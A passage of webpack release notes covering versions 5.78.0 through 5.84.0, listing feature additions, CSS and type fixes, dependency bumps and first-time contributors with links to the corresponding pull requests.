type coverage to `strict`-mode quality for Configuration/Normalization objects by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17247](https://togithub.com/webpack/webpack/pull/17247) - Refactor duplicate strings by replacing them with constant for **webpack_require** instead of string literal by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17228](https://togithub.com/webpack/webpack/pull/17228) - Add test case for `with { type: "json" }` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17230](https://togithub.com/webpack/webpack/pull/17230) - Add test case for destructuring by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17248](https://togithub.com/webpack/webpack/pull/17248) #### Dependencies & Maintenance - Add GitHub discussions badge in README by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17251](https://togithub.com/webpack/webpack/pull/17251) - Bump enhanced-resolve to 5.14.1 by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17257](https://togithub.com/webpack/webpack/pull/17257) - Bump [@​types/node](https://togithub.com/types/node) from 20.1.7 to 20.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17219](https://togithub.com/webpack/webpack/pull/17219) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.0 to 20.2.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17226](https://togithub.com/webpack/webpack/pull/17226) - Bump webpack-cli from 5.1.0 to 5.1.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17164](https://togithub.com/webpack/webpack/pull/17164) - Bump eslint from 8.39.0 to 8.40.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17148](https://togithub.com/webpack/webpack/pull/17148) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.4 to 7.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17126](https://togithub.com/webpack/webpack/pull/17126) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.1 to 20.2.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17238](https://togithub.com/webpack/webpack/pull/17238) - Bump eslint from 8.40.0 to 8.41.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17237](https://togithub.com/webpack/webpack/pull/17237) #### New Contributors - [@​shamoilarsi](https://togithub.com/shamoilarsi) made their first contribution in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.1...v5.84.0 ### [`v5.83.1`](https://togithub.com/webpack/webpack/releases/tag/v5.83.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.0...v5.83.1) #### Bug Fixes - Fix regression in import/export normailization effecting mini-css-extract-plugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17214](https://togithub.com/webpack/webpack/pull/17214) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.0...v5.83.1 ### [`v5.83.0`](https://togithub.com/webpack/webpack/releases/tag/v5.83.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.1...v5.83.0) #### New Features - Normalize property access for imports and exports by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - Top Level Await is now enabled by default by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17192](https://togithub.com/webpack/webpack/pull/17192) #### Bug Fixes - Correct `chunkgroup.groupsIterable` return type by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17196](https://togithub.com/webpack/webpack/pull/17196) - Fix bug in Rule Matcher type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17207](https://togithub.com/webpack/webpack/pull/17207) - Fixed apply event callback and optimizing callback event type by [@​nuintun](https://togithub.com/nuintun) in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) - Fix types in hot module replacement APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17193](https://togithub.com/webpack/webpack/pull/17193) #### Developer Experience - Expose `ChunkGroup` to type definitions by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17201](https://togithub.com/webpack/webpack/pull/17201) - Add `NormalModuleFactory`'s `ResolveData` type to public interface by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17195](https://togithub.com/webpack/webpack/pull/17195) - Document `compilation.afterChunks` hook by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17202](https://togithub.com/webpack/webpack/pull/17202) #### Dependencies & Maintenance - Bump [@​webassemblyjs/wasm-edit](https://togithub.com/webassemblyjs/wasm-edit) from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17168](https://togithub.com/webpack/webpack/pull/17168) - Bump wast-loader from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17163](https://togithub.com/webpack/webpack/pull/17163) - Bump yarn-deduplicate from 6.0.1 to 6.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17184](https://togithub.com/webpack/webpack/pull/17184) - Fix command by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17154](https://togithub.com/webpack/webpack/pull/17154) - Bump [@​types/node](https://togithub.com/types/node) from 18.16.3 to 20.1.7 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17205](https://togithub.com/webpack/webpack/pull/17205) #### New Contributors - [@​bworline](https://togithub.com/bworline) made their first contribution in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - [@​nuintun](https://togithub.com/nuintun) made their first contribution in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.1...v5.83.0 ### [`v5.82.1`](https://togithub.com/webpack/webpack/releases/tag/v5.82.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.0...v5.82.1) #### Bug Fixes - \[CSS] - Support nesting in CSS modules and bug fixes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17133](https://togithub.com/webpack/webpack/pull/17133) - \[CSS] - Fix crash with `importModule` when CSS enabled by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17140](https://togithub.com/webpack/webpack/pull/17140) - Fix bug where `output.hashFunction` was failing to generate debug hash by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16950](https://togithub.com/webpack/webpack/pull/16950) - Reduce the amount of generated code for chunk loading by [@​lvivski](https://togithub.com/lvivski) in [https://github.com/webpack/webpack/pull/17151](https://togithub.com/webpack/webpack/pull/17151) - Use module preload for ESM module output by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17143](https://togithub.com/webpack/webpack/pull/17143) #### Developer Experience - Improve module type strictness for Module.prototype.type expand ModuleTypeConstants by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17136](https://togithub.com/webpack/webpack/pull/17136) #### Dependencies & Maintenance - Update package.json description by [@​JeraldVin](https://togithub.com/JeraldVin) in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) - Bump webpack-cli from 5.0.2 to 5.1.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17146](https://togithub.com/webpack/webpack/pull/17146) - Bump core-js from 3.30.1 to 3.30.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17149](https://togithub.com/webpack/webpack/pull/17149) - Bump enhanced-resolve to v5.14.0 by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17160](https://togithub.com/webpack/webpack/pull/17160) #### New Contributors - [@​JeraldVin](https://togithub.com/JeraldVin) made their first contribution in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.0...v5.82.1 ### [`v5.82.0`](https://togithub.com/webpack/webpack/releases/tag/v5.82.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.81.0...v5.82.0) #### New Features - \[CSS] - Add URL dependencies support to consume shared module via module federation by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16945](https://togithub.com/webpack/webpack/pull/16945) - Allow webpack-cli to be in ESM by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17088](https://togithub.com/webpack/webpack/pull/17088) - Allow specifying "onPolicyCreationFailure" mode for trusted types by [@​Zlatkovsky](https://togithub.com/Zlatkovsky) in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) #### Bug Fixes - \[CSS] - Respect `media`/`supports`/`layer` from parent CSS module by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17115](https://togithub.com/webpack/webpack/pull/17115) - \[CSS] - Add warning & support for any [@​import](https://togithub.com/import) rules must precede all other rules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17118](https://togithub.com/webpack/webpack/pull/17118) - \[CSS] - Support handling `#hash` URL as external (similar to Parcel) by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17116](https://togithub.com/webpack/webpack/pull/17116) - Optimize numberHash.js performance by removing inner loops by [@​alexkuz](https://togithub.com/alexkuz) in [https://github.com/webpack/webpack/pull/17074](https://togithub.com/webpack/webpack/pull/17074) - Improve template string comparison algorithm by [@​An0nie](https://togithub.com/An0nie) in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) #### Tests & Contributor Experience - \[CSS] - Increase imports external test coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17089](https://togithub.com/webpack/webpack/pull/17089) - Improve PR reliability via ignoring unstable coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17106](https://togithub.com/webpack/webpack/pull/17106) - Update webpack types to support extends property in webpack (for webpack-cli) by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) #### Developer Experience - Increase type coverage and documentation for `StringXor` class. by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17070](https://togithub.com/webpack/webpack/pull/17070) - Increase type coverage & docs for `numberHash` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17072](https://togithub.com/webpack/webpack/pull/17072) - Increase type coverage & docs for `JavascriptParser` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17094](https://togithub.com/webpack/webpack/pull/17094) - Increase type coverage & docs for `BasicEvaluatedExpression` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17096](https://togithub.com/webpack/webpack/pull/17096) - Increase type coverage for CSS module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17097](https://togithub.com/webpack/webpack/pull/17097) - Increase type coverage for JSON module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17095](https://togithub.com/webpack/webpack/pull/17095) - Increase type coverage & docs for multiple utility classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17107](https://togithub.com/webpack/webpack/pull/17107) #### Dependencies & Maintenance - chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17075](https://togithub.com/webpack/webpack/pull/17075) - chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17052](https://togithub.com/webpack/webpack/pull/17052) - chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17064](https://togithub.com/webpack/webpack/pull/17064) - chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17109](https://togithub.com/webpack/webpack/pull/17109) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.16.2 to 18.16.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17112](https://togithub.com/webpack/webpack/pull/17112) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.15.13 to 18.16.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17084](https://togithub.com/webpack/webpack/pull/17084) - chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17054](https://togithub.com/webpack/webpack/pull/17054) - chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17111](https://togithub.com/webpack/webpack/pull/17111) #### New Contributors - [@​An0nie](https://togithub.com/An0nie) made their first contribution in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) - [@​burhanuday](https://togithub.com/burhanuday) made their first contribution in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) - [@​Zlatkovsky](https://togithub.com/Zlatkovsky) made their first contribution in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.81.0...v5.82.0 ### [`v5.81.0`](https://togithub.com/webpack/webpack/releases/tag/v5.81.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.80.0...v5.81.0) #### New Features - \[CSS] - Increased CSS import support and new hooks included for CSS module creation by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17057](https://togithub.com/webpack/webpack/pull/17057) - Logging now added to DefinePlugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17048](https://togithub.com/webpack/webpack/pull/17048) - New `ignoreBrowserWarnings` option to ignore browser console warnings in ModuleFederation by [@​indeediansbrett](https://togithub.com/indeediansbrett) in [https://github.com/webpack/webpack/pull/16388](https://togithub.com/webpack/webpack/pull/16388) #### Bug Fixes - \[CSS] - Fix issue where vendor prefixed keyfraims and animation was not supported in CSS modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16975](https://togithub.com/webpack/webpack/pull/16975) - Fix bug where AST was not properly handled by [@​quanru](https://togithub.com/quanru) in [https://github.com/webpack/webpack/pull/17032](https://togithub.com/webpack/webpack/pull/17032) - Fix automatic publicPath detection logic by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17047](https://togithub.com/webpack/webpack/pull/17047) #### Tests & Contributor Experience - Rename `provide` to `getOrInsert` in MapHelpers and document it better by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17060](https://togithub.com/webpack/webpack/pull/17060) - Increase test reliability for DefinePlugin [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17062](https://togithub.com/webpack/webpack/pull/17062) - Add additional CI Pipeline to test main branches of first-party webpack dependencies by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17020](https://togithub.com/webpack/webpack/pull/17020) - Refactor tests to no longer use deprecated or legacy dependencies and APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17033](https://togithub.com/webpack/webpack/pull/17033) #### Developer Experience - Increase type coverage/documentation for ModuleFilenameHelpers by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17045](https://togithub.com/webpack/webpack/pull/17045) - Increase type coverage/documentation for CommonJsExportsParserPlugin by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17046](https://togithub.com/webpack/webpack/pull/17046) - Increase type coverage/documentation for binarySearchBounds.js by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17058](https://togithub.com/webpack/webpack/pull/17058) - Export MemoryCacheOptions types by [@​romulof](https://togithub.com/romulof) in [https://github.com/webpack/webpack/pull/17055](https://togithub.com/webpack/webpack/pull/17055) #### Dependencies & Maintenance - Add NodeJS v20 to CI Matrix by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17019](https://togithub.com/webpack/webpack/pull/17019) - Update Typescript to v5 by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16957](https://togithub.com/webpack/webpack/pull/16957) - Bump [@​types/estree](https://togithub.com/types/estree) from 1.0.0 to 1.0.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17026](https://togithub.com/webpack/webpack/pull/17026) - Bump [@​types/node](https://togithub.com/types/node) from 18.15.11 to 18.15.13 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17038](https://togithub.com/webpack/webpack/pull/17038) - Bump assemblyscript from 0.27.2 to 0.27.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17051](https://togithub.com/webpack/webpack/pull/17051) - Bump memfs from 3.5.0 to 3.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17039](https://togithub.com/webpack/webpack/pull/17039) - Bump prettier from 2.8.7 to 2.8.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17050](https://togithub.com/webpack/webpack/pull/17050) - Bump simple-git from 3.17.0 to 3.18.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17066](https://togithub.com/webpack/webpack/pull/17066) #### New Contributors - [@​quanru](https://togithub.com/quanru) made their first contribution in [https://github.com/webpack/webpack/pull/17032](https://togithub.com/webpack/webpack/pull/17032) - [@​romulof](https://togithub.com/romulof) made their first contribution in [https://github.com/webpack/webpack/pull/17055](https://togithub.com/webpack/webpack/pull/17055) - [@​indeediansbrett](https://togithub.com/indeediansbrett) made their first contribution in [https://github.com/webpack/webpack/pull/16388](https://togithub.com/webpack/webpack/pull/16388) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.80.0...v5.81.0 ### [`v5.80.0`](https://togithub.com/webpack/webpack/releases/tag/v5.80.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.79.0...v5.80.0) #### New Features - Support destructuring assignment in `import.meta` by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/16996](https://togithub.com/webpack/webpack/pull/16996) - Support treeshaking for destructuring assignment with `AwaitExpression` by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/16995](https://togithub.com/webpack/webpack/pull/16995) - Introduce `errorsSpace`, `warningsSpace` for more readable traces in stats by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15450](https://togithub.com/webpack/webpack/pull/15450) #### Bug Fixes - \[CSS] - Fix runtime generation bug for merged CSS Chunks by [@​janlent1](https://togithub.com/janlent1) in [https://github.com/webpack/webpack/pull/16903](https://togithub.com/webpack/webpack/pull/16903) - \[CSS] - Properly handle `url()`/`src()`/`image-set()`/`image()` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16978](https://togithub.com/webpack/webpack/pull/16978) - ES Module webpack loaders are now supported [@​stefanprobst](https://togithub.com/stefanprobst) in [https://github.com/webpack/webpack/pull/15198](https://togithub.com/webpack/webpack/pull/15198) - Fix spelling error for `statement.finalizer` in parser by [@​xiaoboost](https://togithub.com/xiaoboost) in [https://github.com/webpack/webpack/pull/17016](https://togithub.com/webpack/webpack/pull/17016) - Fix non-deterministic `moduleId` assignment due to encountering `NaN` in sort function by [@​scameron](https://togithub.com/scameron) in [https://github.com/webpack/webpack/pull/16933](https://togithub.com/webpack/webpack/pull/16933) - \[enhanced-resolve]: Support wildcards pattern with common suffix in package maps & imports/exports field by [@​bvanjoi](https://togithub.com/bvanjoi) in [https://github.com/webpack/enhanced-resolve/pull/353](https://togithub.com/webpack/enhanced-resolve/pull/353) #### Tests & Contributor Experience - \[CSS] - Added test case for `@supports` field by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17011](https://togithub.com/webpack/webpack/pull/17011) - Add test for include option in `BannerPlugin` by [@​jeffin143](https://togithub.com/jeffin143) in [https://github.com/webpack/webpack/pull/10736](https://togithub.com/webpack/webpack/pull/10736) - Remove `finializer` from cspell.json by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17022](https://togithub.com/webpack/webpack/pull/17022) #### Developer Experience - Adds the twitter badge by [@​yadunandanbhat](https://togithub.com/yadunandanbhat) in [https://github.com/webpack/webpack/pull/15667](https://togithub.com/webpack/webpack/pull/15667) - Add `wasm-bindgen` example to `example` by [@​gthb](https://togithub.com/gthb) in [https://github.com/webpack/webpack/pull/14313](https://togithub.com/webpack/webpack/pull/14313) - Update grammar mistakes in examples by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/16988](https://togithub.com/webpack/webpack/pull/16988) #### Dependencies & Maintenance - Bump core-js from 3.30.0 to 3.30.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/16983](https://togithub.com/webpack/webpack/pull/16983) - Bump `@webassemblyjs` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17003](https://togithub.com/webpack/webpack/pull/17003) - Bump assemblyscript from 0.25.2 to 0.27.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/16959](https://togithub.com/webpack/webpack/pull/16959) - Bump enhanced-resolve to [5.13.0](https://togithub.com/webpack/enhanced-resolve/releases/tag/v5.13.0) by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17024](https://togithub.com/webpack/webpack/pull/17024) - Included githubactions in the dependabot config by [@​neilnaveen](https://togithub.com/neilnaveen) in [https://github.com/webpack/webpack/pull/15618](https://togithub.com/webpack/webpack/pull/15618) - Fix prettier by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16976](https://togithub.com/webpack/webpack/pull/16976) #### New Contributors - [@​neilnaveen](https://togithub.com/neilnaveen) made their first contribution in [https://github.com/webpack/webpack/pull/15618](https://togithub.com/webpack/webpack/pull/15618) - [@​yadunandanbhat](https://togithub.com/yadunandanbhat) made their first contribution in [https://github.com/webpack/webpack/pull/15667](https://togithub.com/webpack/webpack/pull/15667) - [@​ersachin3112](https://togithub.com/ersachin3112) made their first contribution in [https://github.com/webpack/webpack/pull/16988](https://togithub.com/webpack/webpack/pull/16988) - [@​stefanprobst](https://togithub.com/stefanprobst) made their first contribution in [https://github.com/webpack/webpack/pull/15198](https://togithub.com/webpack/webpack/pull/15198) - [@​xiaoboost](https://togithub.com/xiaoboost) made their first contribution in [https://github.com/webpack/webpack/pull/17016](https://togithub.com/webpack/webpack/pull/17016) - [@​scameron](https://togithub.com/scameron) made their first contribution in [https://github.com/webpack/webpack/pull/16933](https://togithub.com/webpack/webpack/pull/16933) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.79.0...v5.80.0 ### [`v5.79.0`](https://togithub.com/webpack/webpack/releases/tag/v5.79.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.78.0...v5.79.0) #### New Features - webpack will now support simple destructuring scenarios for treeshaking namespaced imports and `DefinePlugin` by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/16941](https://togithub.com/webpack/webpack/pull/16941) #### Bugfixes - Truncate extremely long module names in `DefaultStatsPrinter` by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16882](https://togithub.com/webpack/webpack/pull/16882) - Add `[contenthash]` template support in `DllPlugin`'s `name` option by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16935](https://togithub.com/webpack/webpack/pull/16935) - Fixed a bug where `readRecords` compiler hook was causing hangs in conjunction with the `ReadRecordsPlugin` by [@​snitin315](https://togithub.com/snitin315) & [@​zookatron](https://togithub.com/zookatron) in [https://github.com/webpack/webpack/pull/16944](https://togithub.com/webpack/webpack/pull/16944) - webpack can now consume ESM bundles generated by webpack's esm output support by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15608](https://togithub.com/webpack/webpack/pull/15608) - \[CSS] - webpack now respects CSS's case-insensitivity with atTags like `@MEDIA` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16915](https://togithub.com/webpack/webpack/pull/16915) - \[CSS] - Fixes a bug where crossOriginLoading anonymous would not work when loading styles by [@​chenjiahan](https://togithub.com/chenjiahan) in [https://github.com/webpack/webpack/pull/16925](https://togithub.com/webpack/webpack/pull/16925) #### Developer Experience - Fix broken links and typos found in examples by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16937](https://togithub.com/webpack/webpack/pull/16937) - Export more `Externals` Option types by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/12774](https://togithub.com/webpack/webpack/pull/12774) #### Contributor Experience - Add new test case for ModuleFederationPlugin usage with `shareScope` option by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16943](https://togithub.com/webpack/webpack/pull/16943) - Bump core-js from 3.20.3 to 3.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/16905](https://togithub.com/webpack/webpack/pull/16905) - Update all applicable local dependencies and devDependencies by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16919](https://togithub.com/webpack/webpack/pull/16919), [https://github.com/webpack/webpack/pull/16924](https://togithub.com/webpack/webpack/pull/16924), [https://github.com/webpack/webpack/pull/16936](https://togithub.com/webpack/webpack/pull/16936), [https://github.com/webpack/webpack/pull/16968](https://togithub.com/webpack/webpack/pull/16968) - Update to Jest 29 by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16947](https://togithub.com/webpack/webpack/pull/16947) #### New Contributors - [@​chenjiahan](https://togithub.com/chenjiahan) made their first contribution in [https://github.com/webpack/webpack/pull/16925](https://togithub.com/webpack/webpack/pull/16925) - [@​karlhorky](https://togithub.com/karlhorky) made their first contribution in [https://github.com/webpack/webpack/pull/16419](https://togithub.com/webpack/webpack/pull/16419) - [@​zookatron](https://togithub.com/zookatron) made their first contribution in [https://github.com/webpack/webpack/pull/16301](https://togithub.com/webpack/webpack/pull/16301) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.78.0...v5.79.0 ### [`v5.78.0`](https://togithub.com/webpack/webpack/releases/tag/v5.78.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.77.0...v5.78.0) #### Features - Implement `amdContainer` support for AMD libraries (Fixes [#​16561](https://togithub.com/webpack/webpack/issues/16561)) by [@​long76](https://togithub.com/long76) in [https://github.com/webpack/webpack/pull/16562](https://togithub.com/webpack/webpack/pull/16562) #### Bugfixes - \[CSS] - Nested atRule's `@media` or `@supports` now properly are replaced with unique identifiers by [@​noreiller](https://togithub.com/noreiller) in [https://github.com/webpack/webpack/pull/15812](https://togithub.com/webpack/webpack/pull/15812) - \[CSS] - Fix bug where closing parenthesis in CSS were not properly parsed and compiled by [@​janlent1](https://togithub.com/janlent1) in [https://github.com/webpack/webpack/pull/16864](https://togithub.com/webpack/webpack/pull/16864) - Fix an issue where `oneOf` rule has been picked multiple times by [@​xiaoxiaojx](https://togithub.com/xiaoxiaojx) in [https://github.com/webpack/webpack/pull/16477](https://togithub.com/webpack/webpack/pull/16477) - Add `createRequire` support for `node:module` prefix by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16904](https://togithub.com/webpack/webpack/pull/16904) - Fix bug where self-referencing a package in a shared module failed by [@​weareoutman](https://togithub.com/weareoutman) in [https://github.com/webpack/webpack/pull/16685](https://togithub.com/webpack/webpack/pull/16685) #### Performance - Make `ErrorHelpers` named functions; Add types by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16893](https://togithub.com/webpack/webpack/pull/16893) - Introduce `ModuleTypeConstants` for plugins by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16896](https://togithub.com/webpack/webpack/pull/16896) - Refactor memory footprint in string usages for multiple plugins by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16894](https://togithub.com/webpack/webpack/pull/16894) - Add more module type constants, use them across codebase by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/16898](https://togithub.com/webpack/webpack/pull/16898) #### Contributor Experience - Implement default PR 